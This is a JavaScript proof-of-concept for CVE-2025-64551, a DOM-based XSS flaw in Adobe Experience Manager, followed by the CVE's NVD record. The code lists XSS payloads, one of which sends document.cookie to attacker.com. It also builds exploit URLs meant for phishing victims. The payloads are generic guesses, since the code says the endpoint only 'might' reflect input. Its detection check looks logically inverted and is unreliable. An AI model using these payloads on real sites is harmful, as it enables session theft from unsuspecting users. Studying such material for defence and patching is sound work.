CVE-2025-64551

// CVE-2025-64551 DOM-based XSS PoC for Adobe Experience Manager // This PoC demonstrates how an attacker could exploit the DOM XSS vulnerability // Attack scenario: Crafted URL with malicious payload in URL parameter // The vulnerable endpoint might reflect user input without proper sanitization const vulnerableUrl = 'https://vulnerable-aem-server/editor.html{content_path}?param=<img src=x onerror=alert(document.cookie)>'; // Alternative payload using different injection points const payloads = [ '?q=<script>alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,54,52,53,53,49))</script>', '?search=<img src=x onerror=fetch(`https://attacker.com/steal?c=`+document.cookie)>', '?fragment=<svg/onload=fetch(`/contentdam?exploit=`+btoa(document.domain))>', '?callback=javascript:alert(document.domain)//' ]; // Automated exploitation example async function exploitAEM() { const target = 'https://vulnerable-aem-instance/libs/granite/core/content/login.html'; for (const payload of payloads) { const exploitUrl = target + payload; console.log(`[*] Testing payload: ${exploitUrl}`); // In real attack, this would be sent to victim via phishing // The victim clicking this link would trigger the XSS } } // Detection payload for security testing const detectionScript = ` // Check if vulnerable to CVE-2025-64551 const testParam = '<img src=x onerror=console.log("VULN")>'; const originalHTML = document.body.innerHTML; document.body.innerHTML += testParam; if (document.querySelector('img[src="x"]') === null) { console.log("Possible XSS vulnerability detected"); } document.body.innerHTML = originalHTML; `; export { vulnerableUrl, payloads, exploitAEM, detectionScript };

{"cve": {"id": "CVE-2025-64551", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:16.960", "lastModified": "2025-12-12T19:57:39.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a low privileged attacker to execute malicious scripts in the context of the victim's browser. Exploitation of this issue requires user interaction, such as visiting a crafted URL or interacting with a manipulated web page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}